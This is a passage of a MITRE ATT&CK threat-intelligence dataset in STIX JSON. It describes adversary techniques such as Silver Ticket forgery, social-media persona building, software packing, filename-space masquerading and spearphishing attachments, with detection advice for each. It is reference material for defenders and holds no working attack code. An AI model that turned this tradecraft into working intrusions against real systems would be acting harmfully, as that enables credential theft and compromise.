                    "source_name": "ADSecurity Silver Tickets",
                    "url": "https://adsecurity.org/?p=2011",
                    "description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020."
                },
                {
                    "url": "https://adsecurity.org/?p=1515",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "source_name": "ADSecurity Detecting Forged Tickets"
                },
                {
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Silver Ticket",
            "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).",
            "id": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-03-25T21:46:46.831Z",
            "created": "2020-02-11T19:14:48.309Z",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Metadata"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1593.001",
                    "url": "https://attack.mitre.org/techniques/T1593/001"
                },
                {
                    "source_name": "Cyware Social Media",
                    "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e",
                    "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Social Media",
            "description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
            "id": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:52:40.958Z",
            "created": "2020-10-02T16:49:31.262Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1585.001",
                    "url": "https://attack.mitre.org/techniques/T1585/001"
                },
                {
                    "source_name": "NEWSCASTER2014",
                    "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
                    "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
                },
                {
                    "source_name": "BlackHatRobinSage",
                    "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
                    "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Social Media Accounts",
            "description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona  on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
            "id": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T03:10:35.708Z",
            "created": "2020-10-01T01:08:41.124Z",
            "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1586.001",
                    "url": "https://attack.mitre.org/techniques/T1586/001"
                },
                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                },
                {
                    "source_name": "NEWSCASTER2014",
                    "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
                    "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
                },
                {
                    "source_name": "BlackHatRobinSage",
                    "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
                    "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Social Media Accounts",
            "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
            "id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "modified": "2021-04-15T02:59:06.872Z",
            "created": "2020-10-01T01:18:35.535Z",
            "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1592.002",
                    "url": "https://attack.mitre.org/techniques/T1592/002"
                },
                {
                    "source_name": "ATT ScanBox",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Software",
            "description": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "id": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:23:57.876Z",
            "created": "2020-10-02T16:42:17.482Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1072",
                    "url": "https://attack.mitre.org/techniques/T1072"
                },
                {
                    "external_id": "CAPEC-187",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/187.html"
                }
            ],
            "description": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.",
            "name": "Software Deployment Tools",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2020-12-11T17:00:00.938Z",
            "created": "2017-05-31T21:30:57.201Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_contributors": [
                "Shane Tully, @securitygypsy"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1518",
                    "url": "https://attack.mitre.org/techniques/T1518"
                },
                {
                    "external_id": "CAPEC-580",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/580.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Software Discovery",
            "description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
            "id": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "modified": "2021-03-29T16:05:00.456Z",
            "created": "2019-09-16T17:52:44.147Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.3",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "Firewall: Firewall Metadata",
                "Firewall: Firewall Enumeration",
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Azure AD",
                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ]
        },
        {
            "id": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
            "name": "Software Packing",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1045",
                    "url": "https://attack.mitre.org/techniques/T1045"
                },
                {
                    "external_id": "CAPEC-570",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/570.html"
                },
                {
                    "url": "http://en.wikipedia.org/wiki/Executable_compression",
                    "description": "Executable compression. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Wikipedia Exe Compression"
                },
                {
                    "source_name": "ESET FinFisher Jan 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf",
                    "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-05T14:18:21.533Z",
            "created": "2017-05-31T21:30:43.472Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1027.002",
                    "url": "https://attack.mitre.org/techniques/T1027/002"
                },
                {
                    "external_id": "CAPEC-570",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/570.html"
                },
                {
                    "source_name": "ESET FinFisher Jan 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf",
                    "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."
                },
                {
                    "url": "http://en.wikipedia.org/wiki/Executable_compression",
                    "description": "Executable compression. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Wikipedia Exe Compression"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Software Packing",
            "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.  ",
            "id": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-02-05T20:05:41.548Z",
            "created": "2020-02-05T14:17:46.686Z",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Heuristic detection",
                "Signature-based detection"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.",
            "x_mitre_data_sources": [
                "File: File Metadata",
                "File: File Content"
            ],
            "x_mitre_contributors": [
                "Filip Kafka, ESET"
            ],
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Source",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nThe <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1153",
                    "url": "https://attack.mitre.org/techniques/T1153"
                },
                {
                    "source_name": "Source Manual",
                    "url": "https://ss64.com/bash/source.html",
                    "description": "ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-03-30T13:40:14.512Z",
            "created": "2017-12-14T16:46:06.044Z",
            "x_mitre_deprecated": true,
            "x_mitre_is_subtechnique": false,
            "x_mitre_remote_support": false,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.",
            "x_mitre_version": "2.0"
        },
        {
            "id": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00",
            "name": "Space after Filename",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1151",
                    "url": "https://attack.mitre.org/techniques/T1151"
                },
                {
                    "external_id": "CAPEC-649",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/649.html"
                },
                {
                    "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/",
                    "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
                    "source_name": "Mac Backdoors are back"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-10T20:49:12.897Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86",
            "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
            "name": "Space after Filename",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1036.006",
                    "url": "https://attack.mitre.org/techniques/T1036/006"
                },
                {
                    "external_id": "CAPEC-649",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/649.html"
                },
                {
                    "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/",
                    "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
                    "source_name": "Mac Backdoors are back"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T20:26:01.690Z",
            "created": "2020-02-10T20:47:10.082Z",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_contributors": [
                "Erye Hernandez, Palo Alto Networks"
            ],
            "x_mitre_data_sources": [
                "File: File Metadata"
            ],
            "x_mitre_detection": "It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
            "name": "Spearphishing Attachment",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1193",
                    "external_id": "T1193"
                },
                {
                    "external_id": "CAPEC-163",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-02T19:08:17.884Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1566.001",
                    "url": "https://attack.mitre.org/techniques/T1566/001"
                },
                {
                    "external_id": "CAPEC-163",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/163.html"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Spearphishing Attachment",
            "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ",
            "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
            "modified": "2021-04-01T16:21:17.553Z",
            "created": "2020-03-02T19:05:18.137Z",
            "x_mitre_contributors": [
                "Philip Winther"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_is_subtechnique": true,
